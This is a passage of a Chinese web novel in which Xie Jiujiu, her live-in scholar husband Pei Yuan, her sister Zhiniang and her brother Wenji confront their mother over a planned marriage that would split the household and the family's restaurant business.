起初她还多少有些傲气劲儿,现在见谁都客气有礼,不该她说的话从来不多说半句。她知道,现在就不是该她说话的时候,这时候说什么都是火上浇油。 阿满彻底断奶之后佟大姐也没离了谢家,就留在前院干些洗衣打扫的杂货,照样还是早上来晚上走,给家里多赚一份工钱。 她是嫁了人生了孩子的女人,她比春儿更能理解眼下谢九九的心。 这世道,女人一成亲,家就成了娘家。人人都告诉自己,以后婆家才是你的家。 佟大姐这么多年也都是这么认定的,只有每次回娘家来去匆匆,连住一晚都生怕嫂子不高兴的时候,心里才会隐约有些难受。 明明那间屋子自己住了十几二十年,怎么只是嫁个人家就不是自己的了,回家也成了做客。 但这样的念头她从不敢说出口,丈夫不知道亲娘也不知道。她来谢家做奶娘,是羡慕过谢九九的。她觉得能像谢九九这样招个女婿上门,一直住在家里就是最好的日子了。 谁知原来这么能干的娘子,这么难得的好日子也长久不了。她心里也难受自然也不说话,只安静吃饭,吃了饭把碗筷洗干净收拾好便回去了。 只有阿满是高兴的,她觉得娘做饭最好吃,但娘平时做饭的时候不多。因为即便不去云客来,谢九九也总有别的事情要忙。 何奎的脚力行当初谢九九是出了银子当做股本的,要不然何奎再有本事一时间也难凑到那么多银子。 谢九九把云客来这几年赚的银子分成了几份,给何奎的那一份是她自己的银子,跟云客来和谢家没有关系。 当初这么干,是谢九九怕何奎的脚力行做不起来。何奎与秦娘子是跟自己有交情,跟谢家的往来并不多。自己的银子投了也就投了,是赚还是亏都算不得大事。 要是拿饭庄或是谢家的银子来用,到时候万一赔了,银子没了都是小事,到时候秦娘子在云客来还能不能待下去,那才是要紧的。 谁知何奎着实是个有本事的,脚力行顺道还做牙行的买卖,码头上的牙行多是在船老大和货栈之间牵线搭桥,给客商找卖家,替他们找脚力。 这样的小牙行当然比不得市舶司的官牙赚钱,但何奎脑子好使为人也公道,时间长了口碑好了,现在在码头也算是数得上号的私牙。 谢九九投进去的银子占了两股,每年分到的银子不比她个人在云客来分到的银子少。 裴元是廪生又是小三元,除了府学每月给他的银子之外,还有主动找他代写寿序、墓志铭,提匾、碑文等等,能赚银子裴元向来来者不拒,光是在这上面一年就能赚个二三百两。 还有每年关令仪跟着信寄回来的东西,绸缎茶叶首饰书籍什么都往回送,还有夹在信笺里的二百两银票,每次都是二百两,一年三次,一共六百两。 信笺都是先给谢九九的,银票自然也都是给谢九九的,银子是补贴给小夫妻俩和阿满的,谢九九也都是自己留一半,另一半给裴元自己拿着。 这些银子攒在手里,谢九九存一半,另一半都拿去买了地。买了地就得有新的佃户,还有稻花鱼的生意这几年也没断。 鹿鸣村的鱼不光卖到云客来,整个县城饭庄里的稻花鱼,都说是跟云客来一样从鹿鸣村送来的。这里面有真有假,但鹿鸣村的鱼是绝对不愁卖的。 赚钱这种事是会上瘾的,总之谢九九没哪天能闲下来,能陪阿满的时候都是在晚上。小姑娘嘴上不说,但其实很想阿娘陪。 哪怕她才三岁,哪怕一直住在一个家里,哪怕家里每个人都对阿满很好。但骨肉天性,阿满还是知道爹娘跟阿奶小姨舅舅不一样,她最最喜欢的还是跟娘和爹在一起。 今天跟谢九九一起在前院吃饭,阿满一晚上都特别兴奋。还一个劲的说等爹爹回家,以后就都这么一起吃饭。 谢九九不说好也不说不好,因为这个回答并不是给女儿的,她的犹豫是她自己的决定。有些话说出口了,哪怕只是对着三岁的孩子,就也回不了头了。 “姐。” 自从谢九九成亲,谢芝娘就再也没有跟姐姐一起睡过,即便裴元这个姐夫不在家。 今天不一样,十二岁的大姑娘懂事了,知道她娘眼下在操心什么,也知道今天家里发生了什么。 晚上吃饭的时候一家人谁都不说话,说实在的芝娘觉得那饭一直就哽在喉咙口,咽都咽不下去。 她本不敢来找她姐,可躺在床上又死活睡不着。好不容易鼓足勇气往前院来,又正好听见阿满跟她娘说这话,一下子站在门口都不知道该留还是该走。 “进来啊,站在门口给我守夜啊。” “姐,今晚我能不能跟你一起睡啊。” 夜里,谢九九和谢芝娘带着谢阿满一起睡在西厢房谢阿满的架子床上,有点儿挤但还能凑合。 睡在两人中间的阿满已经小猪一样,打雷都吵不醒。谢芝娘就着纱帐外一点点豆大的烛光打量她姐的脸色,沉默了很久才憋出一句:“娘晚上哭了。” “嗯,猜到了。”谢九九脸上的表情十分平静,平静得好像连下午那一点点不舒服在她心里都散了。 黄娟不算那种只要儿子,把女儿当草当破烂的娘。但她心里最要紧的,一直都是谢文济。 不要看着这几年黄娟什么都听谢九九的,那是因为她知道,谢九九做的一切都是为了谢家好。而只有谢家好了。谢文济才能好。 现在又到了要为谢文济好的时候,这一次黄娟或许会犹豫或许会放弃,但总会有下一次的。 下一次给谢文济相看的人家,还是不想跟自己这个招赘的大姑姐一个屋檐下生活,黄娟总会在犹豫过后做出选择。 谢九九非常肯定,她娘不会选择自己。 所以与其说谢九九不愿分家,更应该说她现在是在徒劳的拉扯。或许是心有不甘吧,她在明知道结果的情况下,还是想要看看,她亲娘会不会真的跟自己说:“九九,你搬出去吧。” “姐,你别走。这个家本来就是你的,凭什么你要走。当初说好了你留在家里招女婿,现在总不能、总不能……” 谢芝娘想说总不能忘恩负义,可这到底是什么恩是什么义。当初大姐是舍不下这 个家和娘跟自己同二哥,一家子一条心拧成一股绳才有的今天。 现在来说恩和义,这话要是真的说出口才是真的没了恩义。再说娘是亲娘,这事可怎么算恩义啊。 “你少操心这个,你二哥要相看亲事也没那么快。这两家说白了看中的是咱们家和你姐夫以后的前程,对你二哥这个人,他们看没看上还不好说。” 成亲过日子当然要看前程,就像当年自己和裴元一样。但也不能只有前程,这个道理不用她讲黄娟也懂,这也正是她这次只是自己躲着哭,而不是来找自己把话说清楚的原因。 “姐,我不小了,你别糊弄我。”十二岁的谢芝娘越长越像谢德昌,就是谢德昌日日挂着笑模样,谢芝娘却还是习惯板着一张脸,特别一本正经的样子。 “要是娘真的决定要让你和二哥分家,那我也不在这个家待了。” 芝娘不是说气话,她是认真想过的。自己才十二,要嫁人起码还有四五年。人家容不下大姐这个大姑子难道就会喜欢自己这个小姑子? 自家又没有拘着女子不让出门的规矩,真要是要分家,那到时候自己就拿着嫁妆分出去,到时候甭管是去做绣娘还是去外边找活计,总之饿不死。 “祖宗,你可真是我祖宗。本来就乱你还来掺和,你到底是来劝我的还是来拱火的。” 谢九九没好气地在谢芝娘肩膀上拍了两下,还想再骂可看看妹妹倔强的脸又叹了口气,“这事且没那么简单,还有你姐夫的事呢。” 裴元是入赘,别管他以后多大的前程,当初他进了谢家就是谢家的人了。 现在突如其来这么个事,要是真的分家的话,那到底是自己分出去还是谢文济分出去,这就不好说吧。 云客来是谢家的产业,但这几年云客来做大那是自己的本事,到时候谁拿云客来谁拿银子,还是说云客来一人一半?自己又不是软柿子,这事且糊弄不过去。 要是到时候真是自己分出去,裴元还算不算入赘,人都从谢家分出去了还入的哪门子赘。 还有最重要的一点,即便现在自己什么都要了,日后等裴元考上举人他还得去京城赶考,到时候自己跟不跟着一起去。 不去,自己的家怕是要散。去,要是不能把一家子都带去京城,那自己该怎么争,这个家该怎么分,且有得谈。 第66章 第66章分家?那可太好了 “裴远舟,章先生让你过去,现在就去。” “嘶,怎么这个时辰让我过去。你看清楚先生的脸色没有,瞧着如何。” “我看不大好,你自己小心一点。” 裴元两年前入府学,刚入学第一天就被章世铮给了好大一个下马威,经义策论分别出了三道题,要裴元这个迟来了一年的小三元当场解题。 向来觉得自己学得踏实的裴元被章世铮考得汗流浃背,章世铮出题并不刁钻,但选取的题目和角度都非常让人难受。 尤其策论的题目,让裴元收着回答显得隔靴挠痒点不到要紧的地方,放开了写又过于锋利恐为老师考官所不喜。写到最后裴元硬是写出一身的汗来,放下笔的时候连手都在抖。 等答完了题,再抬头去看坐在上首的章世铮,那双目光灼灼又带着几分狂妄的眼神里只表达了一个意思,‘别在我面前装相,在府学就给我老老实实的,别想着跟我阳奉阴违。’ 裴元多识时务啊,人家有本事一眼看穿自己几斤几两,自己当然不会对着人家干。 再说本来章世铮是府学教授,而自己再是小三元也不过是个秀才,学生听老师的教诲这不丢人。 章世铮早就听说过裴元的名声,本以为这是个有些扎手的刺头,却没想到是个滑不溜手的主儿,倒是有点意思。 不过这点意思且不够向来以‘狂’自诩的章世铮对裴元就另眼相待,反而越发盯上了裴元,这两年裴元的功课都跟府学里其他学生不一样。 为此连向来不怎么下山的崔鹤儒都专门往府学里来了一趟,两个先生关起门来说了什么谁都不知道,等崔鹤儒从章世铮院子里出来,脸色奇怪得连裴元都看不懂。 问老头什么个情况,崔鹤儒也只说以后他就不给裴元留功课了,有空回书院看看他就急匆匆走了,把裴元搞得一头雾水。 自己都被章世铮折腾成啥样了,要不是他给自己留的功课怎么也写不完,至于往谢九九每个月带着阿满从县城来看自己,自己早回去了。 还您老以后就不给我留功课了,您倒是留啊,留了也白留,您看我有没有功夫来做不就完了! 崔鹤儒都有心无力,别人就更不用提了。裴元为此着实过了两年头悬梁锥刺股,认认真真读书,除了偶尔想想妻子女儿别的一概没精力管的‘好日子。’ 府学里的同窗对此都是有心无力,一个个的只私底下劝一劝他。 见裴元来了府学,也想法子从青松书院转学过来的沈霁倒是想过偷着帮他做些功课,可惜一看那些题目就连连摆手。 也明白了为何一向最护短的崔鹤儒没有跟章世铮死磕,人家这个题目出得太好,好到压根不是奔着要把裴元教成一个举人去的。 裴元要真的能被章世铮教出个眉目来,别说小三元,就是□□也不是不可能。 本朝向来江南文风最盛,其次是南北直隶,轮到湖广之地可就差了一截。这是摆在明面上的事实,谁也没法嘴硬不认。 所以不管是裴元自己,还是大概窥探到章世铮意图的人,都对这对师生较劲一般的拼命乐见其成。 要是岳州真的可以出一个□□,这便是本地学子最好的标杆,以后岳州府的举子去京城赶考,有这么一件事能提起来那也是长脸的事。 沈霁来给裴元传话,裴元第一反应就是章世铮又想到什么刁难人的题目或是文章,要来为难自己。 裴元真觉得章世铮就是看中了自己怎么施压都不会崩溃的好处,才会完全不顾自己能不能把屋子里那一摞,摞得连书橱都塞不下的功课做完,还在不断把他想要解析探讨的东西,继续源源不断的塞给自己。 没想到进了章世铮的院子,这位狂生今天却没跟自己探讨功课,而是主动问起自己的家事来。绕老绕去把裴元都绕迷糊了,才说起容县来了人,要找裴元回去一趟的事。 府学请假不容易,来人是承平,还没见着裴元被府学的门子问过两句,就把来意说了个七七八八。 他现在倒是比前些年有了些长进,没把谢九九和黄娟闹了不愉快的事情说出来,只臊眉耷眼的说家里正打算给二少爷说亲,要请姑爷回去一趟商量事情。 章世铮狂归狂,好歹是世家大族养出来的公子,这些小事他又如何猜不到。 自己这个至今没有正经给自己拜师的学生,是入赘到谢家的女婿。他要是这辈子都只是个秀才,以谢家娘子赚钱的本事,什么问题都不会是大问题。 但傻子也知道,裴元的前程不止于此,那么他和他娘子和整个谢家的矛盾就迟早会被摆到台面上来。 章世铮本以为这个矛盾至少能等到裴元考上举人,要往京城去赶考的时候才会爆发,没想到转折点来得这么快,倒是有些出乎意料了。 “家里的事尽快处置好,不要拖拖拉拉影响考试。”章世铮把写好的 假条递给裴元,“你跟我不一样,我考个举人对家族有个交代就够了,这辈子便是游山玩水,也不用操心柴米油盐。” “你不一样,贫贱夫妻百事哀,这个道理不用我跟你多说。你得努力往上走,能走多远走多远,能走多高走多高。” “学生明白。”裴元双手从章世铮手里接过那一张轻飘飘的假条,他明白他的意思,不管做什么决定,都不要让谢家成为自己的拖累。 裴元一直都把家人和谢家分得很清楚,即便自己是入赘进的谢家。 在他心里,自己的家人只有谢九九和谢阿满,她们是自己的妻子、女儿,是骨肉相连的牵绊。 而谢家和谢家人,只是因为有谢九九在,裴元理所当然愿意和他一起承担的责任。可要是他们让谢九九过得不如意了,那这事可就得另说了。 第二天,裴元就从府城赶了回来。 回来时正好碰上谢九九准备出门去一趟云客来,谢九九本要拉着裴元的手一起出门,想私底下先把这事仔细告诉他。却被裴元不容拒绝地拉着转头回家,直接进了后院。 母女两个这几天一个屋檐下住着,谁也没见谁。谢九九让黄娟想清楚了再来告诉自己,这个家到底谁留下谁走。 黄娟觉得谢九九这个当女儿的不该这么逼她,明知道谢九九这次伤了心,也还是犟着想要等谢九九来跟自己低头。 两人谁也不让步,没想到打破僵局的竟然是裴元。 裴元见了黄娟不紧不慢给岳母抱拳躬身行揖礼,之后也不等黄娟说话,便主动说起既然家中要给文济说亲,是不是该把文济从青松书院喊回来。 “亲事还没定下,不如先让田婆子去那两家说项一番。况且家中的事还没定下来,要是……” “要是母亲真的给二弟定下亲事,家里自然是不够住。 如今后院住着母亲和芝娘、二弟已经拥挤腾不开身,等日后二弟成亲娶妻,不如我们把前院腾出来让二弟搬去前院,大家都住的舒服些。” 真要按照裴元说的这么安排,那当然是好。黄娟听了这话眼睛都忍不住亮了一下,但看到站在一旁脸色铁青的女儿,刚提起来的一颗心又沉沉落下去。 “远舟何必说这样的话,我知道这件事是我没道理,可你们弟弟今年十七了,之前老想着等他读书读出个结果来再说亲,现在看样子他想要考取功名,恐怕还有得等。” “今年说亲定亲,要是定下的真是田婆子说的那两家其中一家的姑娘,三媒六聘就万万不能马虎,婚期最早也得是明年了。” 明年成亲,要是能快些生孩子也得到后年了,这么一算到时候文济可就是二十岁的人了。现在再不着急到时候才是真的晚了,十七岁的童生,头上又有姐姐姐夫帮衬,说出去还算拿得出手。 二十岁的童生,屡次考秀才考不中,家里有老娘有招赘的姐姐和入赘的姐夫,明明境况还是一样,听在外人耳朵里可就不是一回事了。 也正是因为如此,田婆子前两天说对方家里不愿意跟大姑子一个屋檐下住着,黄娟没有一口回绝的原因。 在她心里儿子的年纪已经耽误不得,没了这两家下一家合适的又在哪里,谁能说得准。 “母亲所言甚是,都说成家立业,自然是先成家后立业。这几年文济在青松书院该读的书也读得差不多了,之后去或是不去区别也不大。” “倒不如先让他回家来把亲事定下,到时候新媳妇进门,既能留在母亲膝下尽孝也能撑起谢家门楣,倒也不失为一桩周全事。” 谢文济读书不行就是不行,再多考几年能考中秀才谁也说不好。像这种学生青松书院是不会一直让他们留在书院的,即便交得起束脩也不行。 书院就那么大的地方,你考不上就得给别人腾位子,要不然时间长了书院里攒下一群屡第不中的老童生像什么话。 谢文济十三岁入书院读书,今年十七。加上前些年在县城私塾里读的那些年,前前后后也有十年了。 从入书院至今还在黄班待着,要不是有裴元这么个姐夫,书院里的先生和院监早该找他谈话,问他还打算在书院里读几年,要是明年再考不上,就该收拾包袱回来了。 之前裴元和谢九九对此的态度都是,只要谢文济愿意读那就继续在书院里待着,家里不缺供他读书的银子,云客来和家里的产业也不需要他操心打理。 但现在既然要娶妻,娶的人还没进门就已经开始挑拣谢九九这个大姑子,那这些事情自然得另说了。 既然读书读不出个结果,那就不要读了。只要裴元去青松书院看望崔鹤儒的时候露出一星半点,李骏就能马上去劝谢文济不要再继续往下读了。 真以为家里这么多产业是坐在家里就能拿银子的?不就是分家吗,说实在的裴元巴不得谢九九赶紧分家。 “这、这……”黄娟没想到裴元会这么说,明明让女儿和女婿分出去是她心里想却又犹豫不知道怎么开口说的事,可现在看着裴元,她又一下子慌了神。 “你弟弟如何能回来,这书不读不行啊。” “那家里的产业谁来打理,新媳妇进门不想跟姑姐和姐夫一起住,我和九九都能体谅。但成了家就是大人了,这些事合该文济自己担起来。” “这不是有……”黄娟想说有谢九九,可看着一旁脸色已经越来越难看的女儿,又生生把后半句话给吞了回去。 她这才后知后觉地反应过来,女婿不是回来商量这事的。他这是不高兴了,替他的妻子不高兴,所以要跟自己翻脸了。 第67章 第67章捅破窗户纸 裴元从府城赶回来,毫不留情把要分家这层窗户纸给戳破,连带着还要把谢文济从书院里弄回来,是真把黄娟给吓住了。 作为上门女婿,不说县城,就是整个府城也找不出一个比裴元还好的。模样好性子不孤僻,因为家里有芝娘这个小姨子,入了夜不是大事从来不去后院。 就更不要提他还考中了秀才,眼看着今年就又要下场考乡试了。这要是再考中了,那就是举人老爷了。 当年谢德昌的亲妹妹谢家的姑奶奶谢二娘嫁给的周秀才,不就是考上举人才谋了个主簿的差事。只不过那地方太偏僻,每年除了过年两家托往来的商队把年礼送来,并没有过多的往来。 但再怎么不往来,邻居和相熟的人家偶尔提起跟着丈夫去了任上的谢二娘,说得最多的话也还是二娘命好,嫁了个好夫婿,这辈子做了主簿太太,没有什么可操心的了。 “陈妈妈,他、他……” 裴元把该说的话说完,便牵着谢九九出了门。 在院子里看见守在外面的陈妈妈,照旧十分客气的点头打了个招呼,还跟人说等会儿带谢九九和阿满出去吃,晚上家里就不用准备他们一家子的饭了。 以前谢家上下只觉得这么个事事周全的女婿特别好,好得挑不出毛病。现在看来人家不过是拿捏着分寸,客客气气相处着。相安无事的时候你好我好,有事了人家是真敢掀桌啊。 “太太这次怎么、怎么非要在这个事上较劲。” 陈妈妈是家里的厨娘,平时守在厨房那边的时候更多,不比江妈妈一直都是在黄娟跟前。很多家里的事她看得多说得 少,却不代表她心里不清明。 本就有手艺的人说话更直些,她进屋见黄娟此刻还一副如遭雷击,一脸不可置信的样子忍不住叹了口气,把一家子上下憋在心里想问没敢问的话说了出来。 “我这不都是为了文济嘛!”黄娟看着陈妈妈突然就怔怔落下泪来,她是真的委屈,她也是真的没想到女儿会对这件事这么抗拒。 “当初九九说要招赘,我不是也同意了,现在为了文济她如何就不能退让一步。” “这如何能一样,太太您这话说岔了。” “如何不一样,当初她留在家里招赘是为了这个家好,现在我想要给文济找个家世好的媳妇,难道就不是为了这个家好了。” “那时候她说文济要考试不能是商籍,我也听她的给文济改了户籍。现在眼看着文济不是读书的那块料,难道我让他早些成亲生子,这也是错了?” 在黄娟看来,儿子要么读书出息要么安心成亲生子过日子,这俩总得选一个。现在她这个当娘的帮儿子选了,哪里有错。 自己毕竟是奴仆,话要是再说下去就有些过分了,陈妈妈站在黄娟跟前显得有些尴尬。 现在的黄娟就是在钻牛角尖,什么道理都听不进去,除非一大家子人都如了她的愿,还得都是心甘情愿的才行。 “可要是没有姐姐和姐夫,这两户人家的姑娘,又怎么可能是咱们家能高攀得上的。” 接过话来的是芝娘,方才裴元过来的时候她就在正屋次间里,他们说的话她都听见了。 有些事她不想掺和,现在家里吵成一锅粥有什么用,二哥还在书院里没回来,这事该怎么办说到底还不得看二哥想怎么办吗。 可自家亲娘的话越说越歪,歪得芝娘实在听不下去了,推门从屋里出来,脸色沉沉看向她娘,把听上去有些刻薄的实话给说了出来。 “那这不是有吗,云客来一年到头赚的银子是实实在在进了咱们家,裴元也是我们家下了聘礼写了婚书办了婚礼,正经八百进了谢家的女婿,都是一家子何必计较得那么清楚。” “都是一家子,那为什么非要分家。我姐生的阿满可是姓谢的,大姐为长,就是要分家又为什么非得是大姐分出去。为什么只能您替二哥计较得清楚,我姐就不能计较了。” “当初你姐说要招赘,我和你二哥也从来想过万一有今天这样的事就拦着不让。我要真是那等丧良心的,我当初就该不许!” “那是因为那个时候连云客来和家里的田产都不在我们家手里,东西都没拿回来您想计较又有什么用啊。” 谢芝娘不知道为什么非得把这些话来回来去的说,她甚至不明白自己的娘是真的不明白还是真的不明白,有些道理不是只有从她的嘴里说出来才是道理,假大方也不是真的大方。 “娘,您不能什么都想要。二哥资质平平这事您不知道吗。您想给他找个官宦人家的小姐做妻子,可您怎么就没想过成亲以后二哥怎么养活妻子孩子。” “别说还有云客来,云客来是大姐经营的,没有大姐云客来一年到头赚的银子,恐怕都不够您拿去给人家官家小姐下聘礼的。” 有些话不好说,说出来伤人。可现在不说不行了,再不说到时候就真把这一家子跟大姐和姐夫的情分给耗光了。 “您是舍不得姐姐,可是也更舍不得二哥。大姐前几年为了让云客来的生意好起来,吃了多少苦。大热的天进厨房一待就是大半天,这个苦您舍得让二哥去吃吗。” “云客来每天那么多客人,难道各个都是讲理的?我还小二哥要读书您是娘,谁都有道理不去吃那个苦,所以就活该我大姐来扛这些,对吗。” “您舍不得,所以才想要接着姐夫的东风给二哥找个好岳家。以后二哥能考上秀才最好,考不上到时候托嫂子娘家想法子,随便谋个什么差事都行。” “都是一家子,你想要我姐把前院腾出来给我二哥娶妻,他们一家子搬出去。那您想过分家怎么给我姐分了吗,云客来归谁。” 芝娘这话就是明知故问,云客来一直都是谢九九在打理,云客来里每一个人都是谢九九一个一个挑选出来的,他们的东家是谢家,但他们只听谢九九的话。 “云客来向来都是你姐在操持,当然不能把你姐踢走。都是一家人,自然是以前怎么样以后就怎么样,哪里就非得分得那么清楚。” “娘!” 芝娘再没想到黄娟会这么说,哪怕她真的是想要替儿子把云客来从大姐手里抢过来呢,也没有她说的这个话寒人心。 “您的意思是,大姐要带着姐夫从家里搬走,把住的地方给二哥和嫂子腾出来。分家不分云客来,大姐还要替咱们家维持云客来,每年除了她该拿的那点儿银子,其余的还是都是家里的。” “不!不对,不是家里的,是二哥和嫂子的才对。” 黄娟没说话,她确实就是这么想的。她都想好了,九九搬出去不用搬太远,平时自己也好时常过去看看阿满。 云客来该如何就如何,每年九九拿她该拿的那份银子,其余的留给文济。毕竟文济成亲以后家里肯定还要添孩子,他也还得继续读书考试,哪一样都得花不少银子。 九九会赚钱,她那些体己的银子自己不惦记,还有关令仪这几年补贴给儿子的,这些黄娟都知道。女儿和女婿有本事,他们不用为银子发愁。 芝娘见自家亲娘沉默,气得浑身发抖。心里却莫名冷静下来,“娘,您把这话跟姐姐和二哥去说,你看他们愿意不愿意。 这事啊我不管了,等分家的时候您告诉我一声,我又能从这个家里分走多少嫁妆,到时候您把我的嫁妆给我,我也搬出去岂不更好。” 陈妈妈和芝娘的话说得极不客气,本来攒了一肚子委屈的黄娟自然更加气了个倒仰。 晚上连晚饭都没吃,芝娘端着饭菜站在黄娟门外敲了两回门,门没开芝娘就转身把饭菜送回厨房去了。不吃就不吃吧,说不定一顿饭不吃,这心里还能清明些。 黄娟怄得吃不下饭,谢九九倒是被裴元带出去安心舒坦吃了一顿好的。临泽楼三个人能点的最好的席面,一段饭花了八两八钱银子,吃得谢九九心里直抽抽。 掌柜的还专门到雅间里来给人敬酒,人家还以为谢大娘子突然带着自家裴姑爷过来吃饭,是想从临泽楼下手推新的特色菜。 要知道这几年整个容县,不对!是整个岳州这么多饭庄,就数云客来新菜出得多,逼得自同行们一个个也抓破了脑袋跟着往外推新菜,说一句心力交瘁真真不是虚的。 家里的事情一出,谢九九多少有些心灰意懒,平时最长袖善舞的谢大娘子显得格外安静,全程都是裴元在跟人寒暄说话。 等晚上回了家,谢九九让春儿把早就玩累了的阿满抱去西次间睡觉,等只剩两人独处了,才起身按住准备去捎间洗漱的裴元。 “娘找田婆子,要给文济娶妻的事情,你是不是早就知道了。” “嗯。” “什么时候知道的。” 去田婆子家拜年,这几年都是两人一起去的,每次过去都是送了年礼再稍微坐会儿就出来了,没有时间让田婆子背着自己说谢文济的事。 “过年那阵老宅倒座房漏水漏得厉害那次你记不记得,我带高义回去看看,田婆子专门找过去跟我说了这事。” 裴元本没打算瞒着谢九九,不过当时他也不知道岳母打算给小舅子找个什么样的妻子,找到了又打算怎么安排谢九九的去留。 什么都不知道,大喇喇的说出来自己就成了那个在谢九九和黄娟这对母女之间挑拨离间的那个人。 当上门女婿没那么容易,裴元就想过等以后闲下来有时间了,化名写一本为婿之道,肯定比当年自己写的那本小说要卖得好得多。 “田婆子的本意是要我心里有个数,我的本意是是等等看,看岳母会怎么安排。现在看来,岳母的选择里好像没有你和我。” “你少拱火啊。” 裴元对这事的反应特别冷静,冷静的谢九九在他跟自家娘说那些话的时候就猜到,这人肯定提前知道了什么。 她本以为自己会生气,事实却没有。她知道裴元说的都是实 话,要是他在这之前跟自己说,自己的亲娘会突然因为八字还没一撇的儿媳妇,把自己分家分出去,自己是肯定要生大气发大火的。 也只有到了现在,事实摆在眼前,由不得自己逃避或是否认了,自己才能醒悟从一开始自己就把家里大小事情揽到自己身上,或许没有那么对。 这样的醒悟挺残忍的,谢九九长长地叹了一口气,连肩膀都轻轻垮了下来,强打起精神洗漱过便躺到床上。 蜷身侧躺着睡在架子床里侧,静静地看着裴元抱着不肯一个人睡,只能送回来的阿满在屋里走来走去,就连明天早上要穿的干净布袜子都是他从衣橱里拿出来的。 谢九九以为自己会气得睡不着,没想到躺下看着裴元忙忙叨叨的没多久,就迷糊着不知道事了。 第68章 第68章死犟死犟 一夜好眠,等再醒来阿满已经被春儿抱到对面西厢穿衣服去了,而自己则被裴元紧紧搂抱在怀里,紧得连他心口的呼吸起伏都特别清晰。 “什么时候醒的,怎么不叫醒我。” “还早,今天又没有什么事要忙,不着急。” 或许是裴元的语调过于放松,谢九九原本紧绷的脊背又重新放松下来,躺回裴元身侧就这么直愣愣的看着头顶瓜瓞绵延的幔帐出神。 有些话谢九九从未说过,但身体总是要比嘴更加诚实。裴元回来了她整个人都放松下来,好似这事闹得再难堪,也有人给自己兜底了。 谢九九想赖床,裴元也打算陪妻子睡个回笼觉。没想到外边传来一阵脚步声,紧跟着的是谢文济由远到近的声音。 “大姐,你起来没,我有事找你说。” 去府城的除了承平还有去年家里新来的长工老范,老范直接去的青松书院,正好碰上青松书院月度考试,老范就在山脚的庄户借住了一夜,等书院考试考完了才把谢文济给带回来。 老范比承平年长,有些话回来的路上他就跟谢文济说清楚了。 谢文济只是在读书这件事上没天赋,又不是不懂人情世故。老范把事情前后一说他就知道这事棘手,回到家也不往后院去,就先直奔谢九九这边来了。 “二少爷不如先去后面休息休息,等大娘子起床收拾好了再过来。” “不用,我就在这儿等着。我姐没空,我姐夫出来也行。” 先从房里出来支应的是春儿,这事说来跟谢文济关系并不大。这几年谢文济隔一年下场考一次,两次都没能考中秀才。 嘴上说着明白自己天赋有限并不强求的人,真下场了真落榜了心里又怎么可能不在意。这一两年读书越发用功,除了中秋过年他连回家的时候都少。 即便回来了,大多数时候也都是在书房里读书,要说这事是黄娟这个当娘的提前跟谢文济商量好的绝不可能,但春儿心里对他还是起了一丝微妙的迁怒。 好在阿满暂时搞不懂这些,昨天她爹回来,带着她和她娘去临泽楼吃饭。今天好久没见的舅舅也回来了,小家伙像个肉团子一样从房里冲出来撞到谢文济怀里,又笑又叫的兴奋得不得了。 “舅舅、舅舅,你怎么回来了。上次说好要给我带的东西呢,没忘了吧。” 谢阿满被一家子养得极好,才三岁的小孩儿不管什么时候小荷包里总装着散碎的铜子,都是奶奶舅舅小姨给的。出了家门在巷子里跟街坊四邻家的孩子玩儿,就她每次都能从荷包里拿出一两个铜板来买饴糖花生糖。 上次谢文济从家里去书院,出门前阿满把她荷包里的铜板全给她舅舅了,说是要她舅舅回来的时候给她买胭脂回来,还得是最好最贵的那种。 才三岁的孩子怎么就知道买胭脂了,还多亏了谢九九。谢九九的梳妆台一向是摆得满满登登琳琅满目,只要是市面上时兴的,就没有她不买回家的。 连每次去府城找裴元,裴元或多或少都得替她准备些新买的脂粉首饰,都是去书局买书和笔墨的时候顺道带回来的。 起初府学里的同学还总拿这个调侃裴元,说他肯定是背着家中河东狮在府城养了外室。 这话自然是故意的,毕竟裴元出身又瞒不住人,他本就是裴老三和关氏所生的外室,现在轮到他出人头地又走了他亲爹的老路,在旁人看来并不出奇。 读书人之间的艳羡和嫉妒,向来比贩夫走卒还要深还要重。 不过是他们要脸要体面,就是心里嫉妒得怄了血,表面上依旧还是那副云淡风轻宠辱不惊的样子,只能拿这样是似而非的玩笑话来挤兑裴元。 裴元才不管那些,见着好看的时兴的该怎么买就怎么买,直到那些首饰珠串都出现在谢九九发髻上,大家伙才知道这些银子裴郎君还真是都花在他正头娘子身上了。 阿满看得多了,自然也学会了。光是偷偷拿她娘的胭脂抹脸涂得跟个猴屁股似的就不知道多少回,每次把谢九九的胭脂香粉嚯嚯得不成个样子,都得挨她娘一顿打。 挨了打别的孩子都哭得不行,只有谢阿满光喊没眼泪。等谢九九打累了,她把裤子一提小脸儿一抹,还能转头问她娘要铜板,去巷子口买糖吃。 要来的钱小家伙也没有去买糖,而是全给了她舅舅,让她舅舅给她从府城带胭脂回来。 谢文济也是听话,小丫头指使他跑腿他还真就老老实实买了。这次回来这么匆忙也没忘了把给侄女儿买的胭脂带上,这会儿从袖袋里把荷叶样的青瓷小盒拿出来,阿满一看当即就笑开了。 从她舅舅手里得了府城最时兴最好看的胭脂,阿满这下高兴了。肉团子爬到她舅舅腿上横坐着,整个人没骨头一样靠在谢文济身上。 一边打开小瓷盒子拿又胖又短手指头了一大坨往她舅舅手背上涂,一边小小声的把这两天的事情又跟谢文济说了一遍。 谢阿满再聪明也就三岁,她是搞不懂家里到底发生了什么的,说起来也难免有些颠倒结巴。但她知道她娘很不高兴,她娘很不高兴自己和爹爹就要跟着不高兴。 “舅舅,你说娘为什么这么不高兴,昨晚上我睡觉都不敢乱动,是挤着我爹睡的。” 小孩子的敏感来源于本能,不管大人们在她跟前装得多么无事发生,她也知道她娘现在不高兴。 “为什么不高兴?你要是再把我给你的铜子拿去让你舅舅给你买这些东西,我就真不高兴一个给你们俩看看。” 一大一小坐在廊下说得专心,连谢九九开门出来都没发现。从谢阿满手里把那盒胭脂拿过来仔细看过,发现还真是自己没见过的新样式,谢九九就忍不住挑眉去看谢文济。 “姐,这是给你买的。”做了小半辈子的姐弟,谢九九只要一个眼神谢文济就知道她什么意思,赶紧把另一盒胭脂也掏出来,谢九九这才勉强满意。 “姐,家里的事我都知道了,娘这事我来说。” “这事你打算怎么办。” “我这个年纪说亲可以,但这两家的姑娘我要不起。找个能安稳过日子的姑娘,我回来成亲。到时候娘有什么事有我顶着,你别跟她犟着来。” 谢文济有自己的盘算,但能不能办得成还得先见了黄娟把话给说明白才行。要是劝不住黄娟这个当娘的,姐弟两个攒一块儿照样头疼。 黄娟这几年的日子过得舒坦,舒坦得她都快要记不起上一次睡不着觉,坐在床上一边抹泪一边想谢德昌到天亮是什么滋味了。 现在为了儿子的亲事,大女儿和女婿突然就跟自己较上劲儿了,黄娟连生气都来不及,而是心里一阵一阵的发慌。 